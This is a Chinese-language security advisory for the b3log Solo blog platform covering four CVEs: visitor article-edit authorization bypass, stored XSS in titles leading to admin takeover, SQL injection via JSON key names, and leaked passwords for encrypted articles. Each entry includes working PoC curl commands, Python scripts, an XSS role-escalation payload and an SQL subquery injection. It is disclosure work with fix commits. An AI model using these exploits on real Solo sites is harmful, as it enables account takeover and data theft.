# b3log Solo 漏洞报告 软件名称:Solo 开发者或厂商:b3log 代码仓库:https://github.com/88250/solo ## 1. 越权修改文章 (CVE-2026-130078) 简要描述:访客可越权修改文章。 影响版本:3.7.0 ~ 4.4.0 前置条件:攻击者拥有一个链滴 OAuth 账号(链滴平台接受公开注册)。 修复:[solo commit 46308431](https://github.com/88250/solo/commit/46308431d479b61d4ac5cc768474efa140c23cc8) ### 漏洞成因 `/apis/symphony/article` 不校验角色,仅验证调用者的 `client.userName` 与其 `userB3Key` 是否匹配。相关代码如下: ```java // src/main/java/org/b3log/solo/processor/B3Receiver.java:136-195 commit 7dc3c15233 final String articleAuthorName = client.optString(User.USER_NAME); final JSONObject articleAuthor = userRepository.getByUserName(articleAuthorName); if (null == articleAuthor) { ... } final String b3Key = client.optString(UserExt.USER_B3_KEY); final String key = articleAuthor.optString(UserExt.USER_B3_KEY); if (!StringUtils.equals(key, b3Key)) { ... } final String articleId = symArticle.optString("id"); final JSONObject oldArticle = articleQueryService.getArticleById(articleId); if (null == oldArticle) { ... } final String articleContent = symArticle.optString("content"); oldArticle.put(Article.ARTICLE_ABSTRACT, Article.getAbstractText(articleContent)); oldArticle.put(Article.ARTICLE_CONTENT, articleContent); oldArticle.put(Article.ARTICLE_TITLE, symArticle.optString("title")); oldArticle.put(Article.ARTICLE_TAGS_REF, symArticle.optString("tags")); final JSONObject updateRequest = new JSONObject().put(Article.ARTICLE, oldArticle); articleMgmtService.updateArticle(updateRequest); ``` 通过链滴 OAuth 首次登录时,`OAuthProcessor` 会自动创建 `visitorRole` 用户,并把该用户的 `userB3Key` 设为用户名(3.7.0 起)。相关代码如下: ```java // src/main/java/org/b3log/solo/processor/OAuthProcessor.java:156-164 commit 7dc3c15233 user = userQueryService.getUserByName(userName); if (null == user) { final JSONObject addUserReq = new JSONObject(); addUserReq.put(User.USER_NAME, userName); addUserReq.put(UserExt.USER_AVATAR, userAvatar); addUserReq.put(User.USER_ROLE, Role.VISITOR_ROLE); addUserReq.put(UserExt.USER_GITHUB_ID, userId); addUserReq.put(UserExt.USER_B3_KEY, userName); userMgmtService.addUser(addUserReq); } ``` 因此攻击者用自己的用户名作为 `userB3Key` 就能通过验证。 ### 复现环境搭建 实验环境使用官方镜像、H2 数据库,以及一个模拟链滴 OAuth 用户信息接口的本地服务。 先准备 OAuth mock 目录和自签名证书: ```bash mkdir -p solo-repro/mock solo-repro/h2 cd solo-repro openssl req -x509 -newkey rsa:2048 -keyout mock/key.pem -out mock/cert.pem \ -days 365 -nodes -subj "/CN=ld246.com" ``` `mock/server.py` 如下: ```python from flask import Flask, request app = Flask(__name__) USITE_KEYS = [ "usiteBehance", "usiteDribbble", "usiteFacebook", "usiteGitHub", "usiteInstagram", "usiteLinkedIn", "usiteMedium", "usiteQQ", "usiteStackOverflow", "usiteTelegram", "usiteTwitter", "usiteWeChat", "usiteWeiBo", "usiteZhiHu", ] @app.post("/user/ak") def user_ak(): token = request.form.get("access_token", "") name = token.split(":", 1)[1] if ":" in token else "admin" return {"code": 0, "data": {"userId": f"id-{name}", "userName": name, "avatar": ""}} @app.post("/user/usite") def user_usite(): return {"code": 0, "data": {key: "" for key in USITE_KEYS}} @app.route("/", methods=["GET", "POST"]) def fallback(path): return {"code": 0, "data": {}} app.run(host="0.0.0.0", port=443, ssl_context=("/cert.pem", "/key.pem")) ``` `docker-compose.yml` 配置 Solo 和 mock 服务,并把 `ld246.com` 指向 mock 容器: ```yaml name: solo-repro services: solo: image: b3log/solo:latest container_name: solo-repro ports: - "18082:8080" environment: RUNTIME_DB: H2 JDBC_DRIVER: org.h2.Driver JDBC_URL: "jdbc:h2:/opt/solo/h2/db;MODE=MYSQL" volumes: - ./h2:/opt/solo/h2 command: - "--listen_port=8080" - "--server_scheme=http" - "--server_host=127.0.0.1" - "--server_port=18082" extra_hosts: - "ld246.com:172.30.0.10" networks: - solo-net depends_on: - mock mock: image: python:3-slim container_name: solo-mock hostname: ld246.com volumes: - ./mock/server.py:/server.py:ro - ./mock/cert.pem:/cert.pem:ro - ./mock/key.pem:/key.pem:ro command: ["sh", "-c", "pip install --no-cache-dir flask && python /server.py"] networks: solo-net: ipv4_address: 172.30.0.10 networks: solo-net: ipam: config: - subnet: 172.30.0.0/24 ``` 启动环境: ```bash docker compose up -d ``` mock 首次启动会安装 Flask,等日志出现 `Running on https://0.0.0.0:443` 后再登录。 > Solo 请求 `https://ld246.com/user/ak` 时设置了 `trustAllCerts(true)`(见 `src/main/java/org/b3log/solo/util/Solos.java:110-112`),因此 mock 的自签名证书不会被拒绝。 创建管理员和访客账号: ```python import httpx from urllib.parse import parse_qs, urlparse BASE = "http://127.0.0.1:18082" def login(name): with httpx.Client(follow_redirects=False) as client: r = client.get(BASE + "/login/redirect", params={"referer": "/"}) state = parse_qs(urlparse(r.headers["location"]).query)["state"][0] r = client.get( BASE + "/login/callback", params={"state": state, "access_token": "u:" + name}, ) print(name, r.status_code, client.cookies.get("solo")) login("admin") login("attacker") ``` 第一次调用以 `admin` 登录并完成初始化,站点会自动生成一篇标题为“世界,你好!”的文章。第二次调用以 `attacker` 登录,站点会自动创建访客账号。本次运行输出: ```text admin 302 e20b0ad2b76d19b032e0ebbe72bedb5b2c32207527a5c516421bf89da5cc0505a4c782ca7c8bca195300ef2c4f73554720897843990d07bd51b34e84c80206c9 attacker 302 e20b0ad2b76d19b032e0ebbe72bedb5b7bed4b10f92ba05d0e5c8e3534cc934884fd72d7da31820145158b64ef3f4b21ba41f636574fb8524c78a479b2d6b2ea ``` ### 复现过程 用管理员 Cookie 读取用户列表,可知现在 `attacker` 的角色是 `visitorRole`: ```bash curl -s 'http://127.0.0.1:18082/console/users/1/10/20' \ -H "Cookie: solo=e20b0ad2b76d19b032e0ebbe72bedb5b2c32207527a5c516421bf89da5cc0505a4c782ca7c8bca195300ef2c4f73554720897843990d07bd51b34e84c80206c9" ``` ```json {"pagination":{"paginationPageCount":1,"paginationPageNums":[1]},"code":0,"users":[{"userB3Key":"admin","userAvatar":"","userGitHubId":"id-admin","oId":"1793779071614","userName":"admin","userRole":"adminRole","userURL":"http://127.0.0.1:18082"},{"userB3Key":"attacker","userAvatar":"","userGitHubId":"id-attacker","oId":"1793779072446","userName":"attacker","userRole":"visitorRole","userURL":"http://127.0.0.1:18082"}]} ``` 接下来开始攻击。读取文章列表,取出目标文章的 `oId`: ```bash curl -s 'http://127.0.0.1:18082/articles?p=1' | python3 -c \ 'import json,sys; a=json.load(sys.stdin)["rslts"]["articles"][0]; print(a["oId"], a["articleTitle"], a["articlePermalink"])' ``` ```text 1793779071973 世界,你好! /hello-solo ``` 用 `attacker` 自己的用户名和 B3 Key 修改这篇属于 `admin` 的文章: ```bash curl -s -X POST http://127.0.0.1:18082/apis/symphony/article \ -H 'Content-Type: application/json' \ -d '{ "client":{"userName":"attacker","userB3Key":"attacker"}, "article":{ "id":"1793779071973", "title":"Article Modified by Visitor", "content":"This article was modified with a visitor account.", "tags":"security" } }' ``` ```json {"code":0} ``` 打开文章页面,标题和正文已经变成攻击者写入的内容,作者仍然显示为 `admin`。 ![](img/v1-article.png) ## 2. 文章标题存储型 XSS 导致账号接管 (CVE-2026-130079) 简要描述:攻击者通过文章标题注入脚本,受害者打开页面后账号被接管。 影响版本:3.7.0 ~ 4.4.0 前置条件:目标存在一篇攻击者可修改的文章,且受害者打开首页(如果这篇文章出现在首页)、或打开文章页、或该文章的口令输入页。 修复:[solo commit 46308431](https://github.com/88250/solo/commit/46308431d479b61d4ac5cc768474efa140c23cc8) ### 漏洞成因 `B3Receiver` 把请求中的 `title` 原样写入 `articleTitle`。首页、文章页和访问密码页在输出这个字段时没有进行 HTML 转义,`Pinghsu` 皮肤的相关模板如下: ```html ... ${article.articleTitle} ``` ```html ${articleTitle} ``` 同样的写法出现在全部内置皮肤里,`article-list.ftl` 和 `article.ftl` 都直接输出该字段;访问密码页使用公共模板 `admin/article-pwd.ftl`,与所选皮肤无关。 `Skins` 初始化 FreeMarker 时没有开启自动转义: ```java // src/main/java/org/b3log/solo/util/Skins.java:60-75 commit 7dc3c15233 TEMPLATE_CFG = new Configuration(Configuration.VERSION_2_3_30); TEMPLATE_CFG.setDefaultEncoding("UTF-8"); ... TEMPLATE_CFG.setDirectoryForTemplateLoading(new File(path)); ... TEMPLATE_CFG.setTemplateExceptionHandler(TemplateExceptionHandler.RETHROW_HANDLER); ``` 因此标题中的 `` 会在首页、文章页和访问密码页执行,脚本以打开页面的用户会话运行。第 1 节说明访客可以修改任意文章,所以攻击者不需要作者账号就能写入这段标题。 后台的 `PUT /console/user/` 只要求管理员会话,没有 CSRF token,脚本可以读取用户列表并修改访客账号的角色。相关路由和代码如下: ```java // src/main/java/org/b3log/solo/Server.java:620-627 commit 7dc3c15233 userConsoleGroup.middlewares(consoleAdminAuthMidware::handle); userConsoleGroup.put("/console/user/", userConsole::updateUser). delete("/console/user/{id}", userConsole::removeUser). get("/console/users/{page}/{pageSize}/{windowSize}", userConsole::getUsers). get("/console/user/{id}", userConsole::getUser). get("/console/changeRole/{id}", userConsole::changeUserRole); ``` ```java // src/main/java/org/b3log/solo/service/UserMgmtService.java:184-185 commit 7dc3c15233 final String userRole = requestJSONObject.optString(User.USER_ROLE); oldUser.put(User.USER_ROLE, userRole); ``` ### 复现环境搭建 按第 1 节的方式启动实例,用 mock 的 `u:admin` 登录管理员。再用 `u:attacker` 在另一个无痕窗口登录一次,站点会自动创建 `visitorRole` 用户。本报告中的访客用户名为 `attacker`。 ### 复现过程 用管理员身份读取用户列表,记下访客账号在列表中的位置: ```bash curl -s 'http://127.0.0.1:18082/console/users/1/10/20' \ -H "Cookie: solo=b19034a4faf00f223e190b1d7b10b151e99c162ec27c46bd80e9aa0a516d5b812549a2f6e2ce4b464cef03948c5bd3ac452455a32621ad8c85a87affd94f1740" ``` ```json {"pagination":{"paginationPageCount":1,"paginationPageNums":[1]},"code":0,"users":[{"userB3Key":"admin","userAvatar":"","userGitHubId":"id-admin","oId":"1793780854420","userName":"admin","userRole":"adminRole","userURL":"http://127.0.0.1:18082"},{"userB3Key":"attacker","userAvatar":"","userGitHubId":"id-attacker","oId":"1793782043241","userName":"attacker","userRole":"visitorRole","userURL":"http://127.0.0.1:18082"}]} ``` 以第 1 节的访客账号 `attacker` 修改文章标题,标题内容为一段脚本: ```python import httpx BASE = "http://127.0.0.1:18082" ARTICLE_ID = "1793780854802" payload = ( "r.json()).then(d=>{" "u=d.users[1];u.userRole='adminRole';" "fetch('/console/user/',{method:'PUT',headers:{'Content-Type':'application/json'}," "body:JSON.stringify(u)})})\">" ) r = httpx.post(BASE + "/apis/symphony/article", json={ "client": {"userName": "attacker", "userB3Key": "attacker"}, "article": {"id": ARTICLE_ID, "title": payload, "content": "XSS payload", "tags": "x"}, }) print(r.status_code, r.text) ``` ```text 200 {"code":0} ``` 管理员登录后打开首页,脚本在管理员会话中执行: ```text http://127.0.0.1:18082/ ``` ![](img/v2-xss-home.png) 页面左上角出现脚本写入的 `XSS` 标记。脚本把 `attacker` 的 `userRole` 改成 `adminRole`。用 `attacker` 登录后打开 `http://127.0.0.1:18082/admin-index.do`,可以看到管理员后台: ![](img/v2-attacker-admin.png) 再次读取用户列表,确认角色已经改变: ```bash curl -s 'http://127.0.0.1:18082/console/users/1/10/20' \ -H "Cookie: solo=b19034a4faf00f223e190b1d7b10b151e99c162ec27c46bd80e9aa0a516d5b812549a2f6e2ce4b464cef03948c5bd3ac452455a32621ad8c85a87affd94f1740" \ | python3 -c 'import json,sys; print(json.dumps(json.load(sys.stdin)["users"][1],ensure_ascii=False))' ``` ```json {"userB3Key": "attacker", "userAvatar": "", "userGitHubId": "id-attacker", "oId": "1793782043241", "userName": "attacker", "userRole": "adminRole", "userURL": "http://127.0.0.1:18082"} ``` ## 3. 后台文章更新接口 SQL 注入 (CVE-2026-130080) 简要描述:后台文章更新接口把请求 JSON 的属性名直接拼进 SQL 列名,攻击者可在管理员会话中注入任意 SQL 表达式并回显执行结果。 影响版本:3.0.0 ~ 4.4.0 前置条件:攻击者拥有管理员会话(可由第 2 节取得)。 修复:[solo commit 46308431](https://github.com/88250/solo/commit/46308431d479b61d4ac5cc768474efa140c23cc8) ### 漏洞成因 `ArticleConsole.updateArticle` 把请求 JSON 原样交给 `ArticleMgmtService.updateArticle`: ```java // src/main/java/org/b3log/solo/processor/console/ArticleConsole.java:477-492 commit 7dc3c15233 final JSONObject requestJSONObject = context.requestJSON(); final JSONObject article = requestJSONObject.getJSONObject(Article.ARTICLE); final String articleId = article.getString(Keys.OBJECT_ID); ... articleMgmtService.updateArticle(requestJSONObject); ``` `ArticleMgmtService` 再调用 `articleRepository.update(articleId, article)`。Latke 的 `JdbcRepository.buildUpdate` 遍历 JSON 属性名,并把这些属性名直接拼进 SQL 列名: ```java // latke-core 3.5.1: org/b3log/latke/repository/jdbc/JdbcRepository.java:239-263 while (keys.hasNext()) { key = keys.next(); if (isFirst) { propertyBuilder.append(" SET `").append(key).append("` = ?"); isFirst = false; } else { propertyBuilder.append(", `").append(key).append("` = ?"); } paramList.add(needUpdateJsonObject.get(key)); } ``` 属性名由请求 JSON 控制。把属性名写成下面的形式,就可以在 `SET` 子句中插入子查询: ```text articleAbstract` = (SELECT CURRENT_SCHEMA), `articleTitle ``` 生成的 SQL 如下: ```sql UPDATE `b3_solo_article` SET ..., `articleAbstract` = (SELECT CURRENT_SCHEMA), `articleTitle` = ? WHERE oId = ? ``` 子查询结果被写进 `articleAbstract`,而公开文章接口会返回这个字段,因此注入的表达式结果可以回显。 ### 复现环境搭建 按第 1 节启动全新实例,完成管理员 `admin` 登录。 ### 复现过程 脚本使用管理员 Cookie,向 `articleAbstract` 注入子查询,然后读取公开文章列表中的 `articleAbstract`: ```python import httpx BASE = "http://127.0.0.1:18082" COOKIE = "b19034a4faf00f223e190b1d7b10b151e99c162ec27c46bd80e9aa0a516d5b812549a2f6e2ce4b464cef03948c5bd3ac452455a32621ad8c85a87affd94f1740" ARTICLE_ID = "1793780854802" key = "articleAbstract` = (SELECT CURRENT_SCHEMA), `articleTitle" article = { "oId": ARTICLE_ID, } article[key] = "世界,你好!" r = httpx.put( BASE + "/console/article/", cookies={"solo": COOKIE}, json={"article": article}, ) print(r.status_code, r.text) r = httpx.get(BASE + "/articles?p=1") article = next(a for a in r.json()["rslts"]["articles"] if a["oId"] == ARTICLE_ID) print(article["articleAbstract"]) ``` ```text 200 {"msg":"更新成功","code":0}

PUBLIC

``` `

PUBLIC

` 是注入子查询 `CURRENT_SCHEMA` 的返回值。 ## 4. 文章列表接口泄露加密文章口令 (CVE-2026-130081) 简要描述:文章列表接口返回加密文章的口令,攻击者据此读取加密文章内容。 影响版本:1.3.0 ~ 4.4.0 前置条件:无。 修复:[solo commit 46308431](https://github.com/88250/solo/commit/46308431d479b61d4ac5cc768474efa140c23cc8) ### 漏洞成因 `ArticleProcessor.getArticlesByPage` 构造分页请求后调用 `ArticleQueryService.getArticles`,没有设置 `Keys.EXCLUDES`: ```java // src/main/java/org/b3log/solo/processor/ArticleProcessor.java:364-369 commit 7dc3c15233 final JSONObject requestJSONObject = Solos.buildPaginationRequest(pathBuilder.toString()); requestJSONObject.put(Article.ARTICLE_STATUS, Article.ARTICLE_STATUS_C_PUBLISHED); requestJSONObject.put(Option.ID_C_ENABLE_ARTICLE_UPDATE_HINT, preference.optBoolean(Option.ID_C_ENABLE_ARTICLE_UPDATE_HINT)); final JSONObject result = articleQueryService.getArticles(requestJSONObject); ``` `getArticles` 从仓库取出整行文章对象,只移除调用方指定的字段: ```java // src/main/java/org/b3log/solo/service/ArticleQueryService.java:526-541 commit 7dc3c15233 final List articles = (List) result.opt(Keys.RESULTS); JSONArray excludes = requestJSONObject.optJSONArray(Keys.EXCLUDES); excludes = null == excludes ? new JSONArray() : excludes; for (final JSONObject article : articles) { final JSONObject author = getAuthor(article); ... for (int j = 0; j < excludes.length(); j++) { article.remove(excludes.optString(j)); } } ``` 文章加密时,`DataModelService.setArticleExProperties` 只替换正文,没有移除 `articleViewPwd`: ```java // src/main/java/org/b3log/solo/service/DataModelService.java:804-809 commit 7dc3c15233 if (Solos.needViewPwd(context, article)) { final String content = langPropsService.get("articleContentPwd"); article.put(ARTICLE_CONTENT, content); } ``` 因此 `/articles?p=1`、`/articles/tags/...`、`/articles/authors/...`、`/articles/archives/...` 的响应都带有口令。攻击者用 `POST /console/article-pwd` 提交该口令,会话记录通过后,`GET /get-article-content?id=` 返回正文。 ### 复现环境搭建 按第 1 节启动全新实例,完成管理员 `admin` 登录。 ### 复现过程 管理员新建一篇已发布文章,把口令设为 `secret123`: ```bash curl -s -X POST http://127.0.0.1:18082/console/article/ \ -H "Cookie: solo=b19034a4faf00f223e190b1d7b10b151e99c162ec27c46bd80e9aa0a516d5b812549a2f6e2ce4b464cef03948c5bd3ac452455a32621ad8c85a87affd94f1740" \ -H 'Content-Type: application/json' \ -d '{ "article":{ "articleTitle":"Encrypted Article", "articleAbstract":"encrypted", "articleContent":"SECRET-CONTENT", "articleTags":"security", "articleStatus":0, "articleViewPwd":"secret123" } }' ``` ```json {"msg":"添加成功","code":0,"oId":"1793780860541"} ``` 匿名请求文章列表,响应中直接带有口令: ```bash curl -s 'http://127.0.0.1:18082/articles?p=1' | python3 -c \ 'import json,sys; a=next(a for a in json.load(sys.stdin)["rslts"]["articles"] if a["articleTitle"]=="Encrypted Article"); print(json.dumps({k:a[k] for k in ["oId","articleTitle","articleViewPwd","articleContent"]},ensure_ascii=False))' ``` ```json {"oId": "1793780860541", "articleTitle": "Encrypted Article", "articleViewPwd": "secret123", "articleContent": "

该文章已经加密。

"} ``` 打开访问密码页面,页面只显示密码输入框。 ![](img/v4-prompt.png) 浏览器中输入 `secret123` 后,文章正文显示出来。 ![](img/v4-unlocked.png)